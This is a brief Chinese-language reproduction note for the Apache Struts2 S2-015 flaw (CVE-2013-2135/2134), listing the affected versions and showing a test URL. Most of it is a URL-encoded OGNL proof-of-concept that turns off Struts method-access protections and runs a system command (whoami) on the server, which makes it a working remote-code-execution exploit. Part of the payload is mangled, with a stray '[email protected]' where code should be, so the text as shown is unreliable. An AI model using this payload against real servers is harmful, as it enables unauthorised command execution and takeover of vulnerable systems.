（CVE-2013-2135）（CVE-2013-2134）s2-015

一、漏洞简介

基于通配符定义的动作映射，如果一个请求跟任何其他定义的操作不匹配，他将会匹配*，并且请求的同操作名称的jsp文件

二、漏洞影响

2.0.0 - 2.3.14.2

三、复现过程

http://www.0-sec.org:8080/example/HelloWorld.action

==>改成

http://www.0-sec.org:8080/example/%25%7B1%2B1%7D.action

图片.png

poc

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action